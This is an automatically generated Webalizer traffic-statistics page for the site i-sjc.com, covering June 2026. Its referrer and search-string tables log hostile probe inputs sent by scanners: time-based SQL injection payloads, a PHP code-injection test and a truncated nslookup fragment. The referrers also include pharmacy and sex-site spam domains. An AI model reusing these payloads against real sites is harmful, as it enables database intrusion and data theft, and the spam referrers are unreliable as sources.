Usage Statistics for i-sjc.com

Summary Period: June 2026
Generated 01-Jul-2026 03:19 CST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Users] [Agents] [Countries]

Monthly Statistics for June 2026
Total Hits 750112
Total Files 548045
Total Pages 351647
Total Visits 35877
Total KBytes 20893196
Total Unique Sites 20042
Total Unique URLs 1739
Total Unique Referrers 3187
Total Unique Usernames 3
Total Unique User Agents 9684
. Avg Max
Hits per Hour 1041 78050
Hits per Day 25003 272999
Files per Day 18268 115846
Pages per Day 11721 196042
Visits per Day 1195 8796
KBytes per Day 696440 4360648
Hits by Response Code
Undefined response code 10897
Code 200 - OK 548045
Code 206 - Partial Content 594
Code 301 - Moved Permanently 6104
Code 302 - Found 20551
Code 304 - Not Modified 582
Code 400 - Bad Request 872
Code 403 - Forbidden 44847
Code 404 - Not Found 115630
Code 405 - Method Not Allowed 14
Code 416 - Requested Range Not Satisfiable 1
Code 417 - Expectation Failed 1
Code 500 - Internal Server Error 1972
Code 501 - Not Implemented 2

Daily usage for June 2026

Daily Statistics for June 2026
Day Hits Files Pages Visits Sites KBytes
1 14747 1.97% 13631 2.49% 5526 1.57% 830 2.31% 1338 6.68% 537349 2.57%
2 16330 2.18% 14754 2.69% 6342 1.80% 849 2.37% 1706 8.51% 579743 2.77%
3 14629 1.95% 13223 2.41% 4620 1.31% 791 2.20% 1594 7.95% 501010 2.40%
4 15856 2.11% 14106 2.57% 5897 1.68% 992 2.77% 1445 7.21% 561513 2.69%
5 15397 2.05% 13968 2.55% 5002 1.42% 857 2.39% 1296 6.47% 533867 2.56%
6 9276 1.24% 8565 1.56% 4754 1.35% 834 2.32% 1189 5.93% 405871 1.94%
7 10227 1.36% 9483 1.73% 4872 1.39% 886 2.47% 1352 6.75% 454707 2.18%
8 15842 2.11% 14582 2.66% 6510 1.85% 1026 2.86% 1122 5.60% 646273 3.09%
9 45979 6.13% 42694 7.79% 10656 3.03% 1428 3.98% 1999 9.97% 1377020 6.59%
10 37402 4.99% 34367 6.27% 7741 2.20% 1278 3.56% 1912 9.54% 1012267 4.84%
11 16445 2.19% 15035 2.74% 6150 1.75% 947 2.64% 1586 7.91% 643036 3.08%
12 19248 2.57% 16709 3.05% 5744 1.63% 942 2.63% 1864 9.30% 635036 3.04%
13 14496 1.93% 13164 2.40% 5700 1.62% 818 2.28% 1442 7.19% 566283 2.71%
14 11990 1.60% 10620 1.94% 4905 1.39% 812 2.26% 1356 6.77% 513258 2.46%
15 18212 2.43% 16397 2.99% 5912 1.68% 907 2.53% 1465 7.31% 628013 3.01%
16 14699 1.96% 13333 2.43% 3864 1.10% 951 2.65% 1704 8.50% 518352 2.48%
17 13005 1.73% 11452 2.09% 4983 1.42% 880 2.45% 1659 8.28% 515860 2.47%
18 17198 2.29% 15532 2.83% 5770 1.64% 883 2.46% 1578 7.87% 589121 2.82%
19 12767 1.70% 11355 2.07% 5545 1.58% 1007 2.81% 1744 8.70% 526592 2.52%
20 13856 1.85% 12874 2.35% 5105 1.45% 922 2.57% 1827 9.12% 521342 2.50%
21 13462 1.79% 11919 2.17% 2521 0.72% 851 2.37% 1643 8.20% 312658 1.50%
22 18234 2.43% 16150 2.95% 5160 1.47% 910 2.54% 1471 7.34% 596821 2.86%
23 18972 2.53% 17350 3.17% 4544 1.29% 953 2.66% 1400 6.99% 605306 2.90%
24 15280 2.04% 13714 2.50% 6064 1.72% 972 2.71% 1303 6.50% 530437 2.54%
25 13203 1.76% 11928 2.18% 4956 1.41% 816 2.27% 1589 7.93% 469913 2.25%
26 272999 36.39% 115846 21.14% 196042 55.75% 8796 24.52% 1902 9.49% 4360648 20.87%
27 11483 1.53% 10190 1.86% 5251 1.49% 1062 2.96% 1782 8.89% 430512 2.06%
28 9795 1.31% 9031 1.65% 4061 1.15% 744 2.07% 1540 7.68% 422053 2.02%
29 15853 2.11% 14439 2.63% 4314 1.23% 1035 2.88% 1190 5.94% 509761 2.44%
30 13230 1.76% 11634 2.12% 3136 0.89% 1093 3.05% 1540 7.68% 388577 1.86%

Hourly usage for June 2026

Hourly Statistics for June 2026
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 2276 68284 9.10% 1190 35724 6.52% 1336 40080 11.40% 53480 1604404 7.68%
1 3093 92790 12.37% 1190 35725 6.52% 1981 59432 16.90% 43727 1311799 6.28%
2 2319 69573 9.28% 1390 41727 7.61% 1428 42862 12.19% 58492 1754763 8.40%
3 2348 70468 9.39% 1110 33313 6.08% 1920 57605 16.38% 43784 1313511 6.29%
4 1075 32262 4.30% 821 24630 4.49% 782 23471 6.67% 31336 940078 4.50%
5 440 13203 1.76% 402 12068 2.20% 179 5395 1.53% 17661 529820 2.54%
6 494 14829 1.98% 432 12981 2.37% 184 5544 1.58% 18585 557563 2.67%
7 451 13545 1.81% 410 12311 2.25% 186 5599 1.59% 17794 533813 2.55%
8 558 16748 2.23% 506 15197 2.77% 209 6272 1.78% 20146 604383 2.89%
9 744 22326 2.98% 676 20309 3.71% 217 6517 1.85% 24442 733260 3.51%
10 844 25330 3.38% 768 23066 4.21% 215 6474 1.84% 26175 785236 3.76%
11 954 28646 3.82% 872 26172 4.78% 220 6623 1.88% 28769 863068 4.13%
12 850 25506 3.40% 766 23003 4.20% 214 6425 1.83% 25268 758042 3.63%
13 918 27557 3.67% 819 24594 4.49% 229 6876 1.96% 27092 812764 3.89%
14 958 28752 3.83% 867 26020 4.75% 226 6809 1.94% 28471 854145 4.09%
15 977 29330 3.91% 888 26650 4.86% 240 7207 2.05% 29545 886354 4.24%
16 826 24785 3.30% 755 22657 4.13% 240 7206 2.05% 26474 794206 3.80%
17 786 23589 3.14% 721 21631 3.95% 263 7909 2.25% 25746 772394 3.70%
18 678 20361 2.71% 618 18565 3.39% 232 6971 1.98% 25009 750269 3.59%
19 722 21677 2.89% 649 19474 3.55% 233 7010 1.99% 25175 755255 3.61%
20 793 23809 3.17% 704 21128 3.86% 259 7775 2.21% 26759 802759 3.84%
21 696 20887 2.78% 619 18579 3.39% 244 7332 2.09% 24981 749422 3.59%
22 612 18383 2.45% 554 16629 3.03% 238 7169 2.04% 24088 722626 3.46%
23 582 17472 2.33% 529 15892 2.90% 236 7084 2.01% 23442 703263 3.37%

Top 30 of 1739 Total URLs
# Hits KBytes URL
1 37059 4.94% 4322824 20.69% /modules/tadnews/
2 28323 3.78% 2041007 9.77% /modules/tad_discuss/discuss.php
3 23482 3.13% 194289 0.93% /modules/tad_discuss/pda.php
4 23143 3.09% 2761345 13.22% /plesk-stat/webstat/usage_202512.html
5 12094 1.61% 645210 3.09% /
6 8237 1.10% 891584 4.27% /plesk-stat/webstat/usage_202606.html
7 6514 0.87% 404503 1.94% /modules/tadnews/page.php
8 5690 0.76% 681530 3.26% /plesk-stat/webstat/usage_202605.html
9 4526 0.60% 223430 1.07% /search.php
10 4180 0.56% 42940 0.21% /plesk-stat/webstat/
11 4154 0.55% 65617 0.31% /xoops.css
12 3849 0.51% 348616 1.67% /modules/tadtools/bootstrap/js/jquery.js
13 3578 0.48% 237685 1.14% /modules/tadgallery/view.php
14 3292 0.44% 359781 1.72% /themes/neilesjc/css/bootstrap.min.css
15 3279 0.44% 10533 0.05% /themes/neilesjc/css/menu/menub.css
16 3279 0.44% 918 0.00% /themes/neilesjc/language/tchinese_utf8/style.css
17 3277 0.44% 23867 0.11% /modules/tadtools/syntaxhighlighter/styles/shCore.css
18 3275 0.44% 422024 2.02% /themes/neilesjc/css/bootstrap.css
19 3265 0.44% 20368 0.10% /modules/tadtools/syntaxhighlighter/scripts/shBrushCss.js
20 3255 0.43% 60347 0.29% /modules/tadtools/syntaxhighlighter/scripts/shCore.js
21 3253 0.43% 12678 0.06% /modules/tadtools/syntaxhighlighter/styles/shThemeDefault.css
22 3250 0.43% 914 0.00% /language/tchinese_utf8/style.css
23 3247 0.43% 1075 0.01% /modules/tadnews/class/MultiLink/css/MultiLink.css
24 3230 0.43% 16014 0.08% /themes/neilesjc/css/menu/leftmenu.css
25 3226 0.43% 7681 0.04% /modules/tadtools/syntaxhighlighter/scripts/shBrushJScript.js
26 3220 0.43% 3301 0.02% /themes/neilesjc/css/style.css
27 3219 0.43% 18550 0.09% /modules/tadtools/syntaxhighlighter/scripts/shBrushPhp.js
28 3207 0.43% 4695 0.02% /modules/tadtools/syntaxhighlighter/scripts/shBrushPlain.js
29 3205 0.43% 25430 0.12% /modules/tadnews/class/MultiLink/js/MultiLink.js
30 3205 0.43% 8532 0.04% /modules/tadtools/syntaxhighlighter/scripts/shBrushJava.js

Top 10 of 1739 Total URLs By KBytes
# Hits KBytes URL
1 37059 4.94% 4322824 20.69% /modules/tadnews/
2 23143 3.09% 2761345 13.22% /plesk-stat/webstat/usage_202512.html
3 28323 3.78% 2041007 9.77% /modules/tad_discuss/discuss.php
4 8237 1.10% 891584 4.27% /plesk-stat/webstat/usage_202606.html
5 5690 0.76% 681530 3.26% /plesk-stat/webstat/usage_202605.html
6 12094 1.61% 645210 3.09% /
7 3275 0.44% 422024 2.02% /themes/neilesjc/css/bootstrap.css
8 6514 0.87% 404503 1.94% /modules/tadnews/page.php
9 3292 0.44% 359781 1.72% /themes/neilesjc/css/bootstrap.min.css
10 3849 0.51% 348616 1.67% /modules/tadtools/bootstrap/js/jquery.js

Top 10 of 173 Total Entry Pages
# Hits Visits URL
1 37059 4.94% 13543 39.28% /modules/tadnews/
2 6514 0.87% 4061 11.78% /modules/tadnews/page.php
3 12094 1.61% 3749 10.87% /
4 3578 0.48% 1780 5.16% /modules/tadgallery/view.php
5 28323 3.78% 1770 5.13% /modules/tad_discuss/discuss.php
6 23482 3.13% 1023 2.97% /modules/tad_discuss/pda.php
7 4526 0.60% 734 2.13% /search.php
8 2647 0.35% 603 1.75% /modules/tad_form/
9 2121 0.28% 595 1.73% /modules/tad_link/
10 1572 0.21% 518 1.50% /modules/tad_login/

Top 10 of 358 Total Exit Pages
# Hits Visits URL
1 37059 4.94% 11074 36.36% /modules/tadnews/
2 6514 0.87% 3633 11.93% /modules/tadnews/page.php
3 12094 1.61% 2787 9.15% /
4 23482 3.13% 1435 4.71% /modules/tad_discuss/pda.php
5 28323 3.78% 1242 4.08% /modules/tad_discuss/discuss.php
6 3578 0.48% 979 3.21% /modules/tadgallery/view.php
7 1476 0.20% 715 2.35% /modules/tadgallery/pda.php
8 4526 0.60% 546 1.79% /search.php
9 2437 0.32% 538 1.77% /modules/tad_discuss/
10 8237 1.10% 512 1.68% /plesk-stat/webstat/usage_202606.html

Top 30 of 20042 Total Sites
# Hits Files KBytes Visits Hostname
1 255453 34.06% 99998 18.25% 3750485 17.95% 7641 21.30% 183.36.144.145
2 53178 7.09% 52885 9.65% 4081311 19.53% 464 1.29% 5.142.207.3
3 9324 1.24% 9291 1.70% 820421 3.93% 3 0.01% 65.21.236.214
4 7139 0.95% 7097 1.29% 292362 1.40% 1 0.00% 77.110.102.63
5 3984 0.53% 3968 0.72% 311701 1.49% 4 0.01% 5.3.188.123
6 3069 0.41% 3040 0.55% 1053 0.01% 225 0.63% 45.148.151.97
7 2445 0.33% 2437 0.44% 201849 0.97% 1 0.00% 5.16.86.205
8 2261 0.30% 2205 0.40% 223330 1.07% 10 0.03% 136.243.212.93
9 2055 0.27% 2009 0.37% 303523 1.45% 269 0.75% 114.119.144.88
10 2051 0.27% 2003 0.37% 302329 1.45% 283 0.79% 114.119.147.6
11 2005 0.27% 1954 0.36% 296285 1.42% 282 0.79% 114.119.136.254
12 1982 0.26% 1933 0.35% 289190 1.38% 276 0.77% 114.119.158.83
13 1977 0.26% 1923 0.35% 287468 1.38% 292 0.81% 114.119.131.11
14 1965 0.26% 1925 0.35% 290768 1.39% 284 0.79% 114.119.132.242
15 1947 0.26% 1904 0.35% 290711 1.39% 280 0.78% 114.119.138.33
16 1904 0.25% 1897 0.35% 163587 0.78% 4 0.01% 5.16.84.79
17 1711 0.23% 1706 0.31% 139882 0.67% 1 0.00% 5.3.176.218
18 1708 0.23% 1422 0.26% 24480 0.12% 60 0.17% 64.233.172.226
19 1643 0.22% 1372 0.25% 23266 0.11% 51 0.14% 64.233.172.225
20 1625 0.22% 1363 0.25% 24714 0.12% 56 0.16% 64.233.172.227
21 1170 0.16% 1102 0.20% 21050 0.10% 9 0.03% 104.28.128.14
22 978 0.13% 975 0.18% 74770 0.36% 10 0.03% 5.16.87.131
23 967 0.13% 960 0.18% 79922 0.38% 3 0.01% 188.187.26.175
24 918 0.12% 833 0.15% 15241 0.07% 7 0.02% 104.28.128.13
25 885 0.12% 881 0.16% 67172 0.32% 1 0.00% 5.16.75.186
26 865 0.12% 771 0.14% 14474 0.07% 8 0.02% 104.28.128.15
27 821 0.11% 813 0.15% 3820 0.02% 14 0.04% 27.124.41.69
28 819 0.11% 759 0.14% 60381 0.29% 2 0.01% 74.7.227.146
29 744 0.10% 610 0.11% 14467 0.07% 36 0.10% 135.136.19.232
30 744 0.10% 738 0.13% 56131 0.27% 2 0.01% 5.16.74.253

Top 10 of 20042 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 53178 7.09% 52885 9.65% 4081311 19.53% 464 1.29% 5.142.207.3
2 255453 34.06% 99998 18.25% 3750485 17.95% 7641 21.30% 183.36.144.145
3 9324 1.24% 9291 1.70% 820421 3.93% 3 0.01% 65.21.236.214
4 3984 0.53% 3968 0.72% 311701 1.49% 4 0.01% 5.3.188.123
5 2055 0.27% 2009 0.37% 303523 1.45% 269 0.75% 114.119.144.88
6 2051 0.27% 2003 0.37% 302329 1.45% 283 0.79% 114.119.147.6
7 2005 0.27% 1954 0.36% 296285 1.42% 282 0.79% 114.119.136.254
8 7139 0.95% 7097 1.29% 292362 1.40% 1 0.00% 77.110.102.63
9 1965 0.26% 1925 0.35% 290768 1.39% 284 0.79% 114.119.132.242
10 1947 0.26% 1904 0.35% 290711 1.39% 280 0.78% 114.119.138.33

Top 30 of 3187 Total Referrers
# Hits Referrer
1 209057 27.87% - (Direct Request)
2 71302 9.51% https://www.google.com/search
3 14433 1.92% https://ksxytor.ru
4 10749 1.43% AppleWebKit/537.36
5 9324 1.24% https://kgm-sim.ru
6 6123 0.82% https://viagra-good24.ru/cialis/kupit-super-tadarayz-v-moskve
7 6020 0.80% https://viagra-good24.ru/cialis/kupit-dzhenerik-sialis-20mg-v-moskve
8 4877 0.65% https://misterdick.ru
9 4860 0.65% https://spb-generic.ru
10 4807 0.64% https://viagra-good24.ru
11 4044 0.54% https://spb-generic.ru/tadalafil/djenerik-sialis-40-mg
12 4042 0.54% https://spb-generic.ru/s-dapoksetinom/super-tadarise-sialis-20-mg-dapoksetin-60-mg
13 3594 0.48% https://viagra-good24.ru/viagra/kupit-super-p-force-v-moskve
14 3532 0.47% https://viagra-good24.ru/viagra
15 3526 0.47% https://viagra-good24.ru/viagra/kupit-avanafil-100mg-v-moskve
16 3501 0.47% https://viagra-good24.ru/levitra
17 3492 0.47% https://viagra-good24.ru/cialis
18 1882 0.25% https://sexoglasnik.com.hr
19 1759 0.23% https://dptcsummit.com
20 1746 0.23% https://privat-no1.cz
21 1722 0.23% https://sex-oglasi.com.hr
22 1048 0.14% https://www.google.com/
23 800 0.11% \
24 799 0.11% '\
25 760 0.10% https://spb-generic.ru/
26 537 0.07% '
27 268 0.04% )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
28 267 0.04% '.print(md5(31337)).'
29 266 0.04% (nslookup -q
30 266 0.04% (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'\

Top 20 of 2073 Total Search Strings
# Hits Search String
1 65438 93.66% testing
2 262 0.37% testing'\()
3 262 0.37% testing\xc0\xa7\xc0\xa2%27%22\\'\\\ mozilla/5.
4 261 0.37% testing'
5 261 0.37% testing'\ mozilla/5.
6 261 0.37% testing-1 waitfor delay '0:0:15' --
7 261 0.37% testing0'xor(if(now()=sysdate()sleep(15)0))xor'z
8 261 0.37% testing0\xor(if(now()=sysdate()sleep(15)0))xor\z
9 261 0.37% testing\
10 236 0.34% testing'||dbms_pipe.receive_message(chr(98)||chr(98)||chr(98)15
11 6 0.01% http://www.i-sjc.com/modules/tadnews/index.phpnsn=432
12 6 0.01% http://www.i-sjc.com/modules/tadnews/page.phpnsn=5
13 5 0.01% http://www.i-sjc.com/modules/tadnews/index.phpnsn=414
14 4 0.01% http://www.i-sjc.com/modules/tadnews/index.phpnsn=163
15 4 0.01% http://www.i-sjc.com/modules/tadnews/index.phpnsn=453
16 4 0.01% http://www.i-sjc.com/modules/tadnews/page.phpnsn=8
17 3 0.00% http://i-sjc.com/modules/tad_discuss/pda.phpop=show_one
18 3 0.00% http://www.i-sjc.com/modules/tadnews/index.phpnsn=245
19 3 0.00% http://www.i-sjc.com/modules/tadnews/index.phpnsn=357
20 3 0.00% http://www.i-sjc.com/modules/tadnews/index.phpnsn=433

Top 3 of 3 Total Usernames
# Hits Files KBytes Visits Username
1 3069 0.41% 3069 0.56% 1058 0.01% 227 0.63% admin
2 1020 0.14% 1020 0.19% 74042 0.35% 43 0.12% anonymous
3 3 0.00% 3 0.00% 212 0.00% 3 0.01% '

Top 15 of 9684 Total User Agents
# Hits User Agent
1 224257 29.90% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
2 45686 6.09% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
3 30489 4.06% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
4 23862 3.18% Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.5 Mobile/15E148 Sa
5 19211 2.56% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Appleb
6 18935 2.52% Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36
7 16740 2.23% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
8 16161 2.15% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.
9 16129 2.15% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
10 16073 2.14% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0
11 16026 2.14% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
12 15562 2.07% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
13 13680 1.82% Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (HTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://w
14 10749 1.43% KHTML, like Gecko
15 10396 1.39% Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36

Usage by Country for June 2026

Top 1 of 1 Total Countries
# Hits Files KBytes Country
1 750112 100.00% 548639 100.11% 20893196 100.00% unresolved


Generated by Webalizer Version 2.01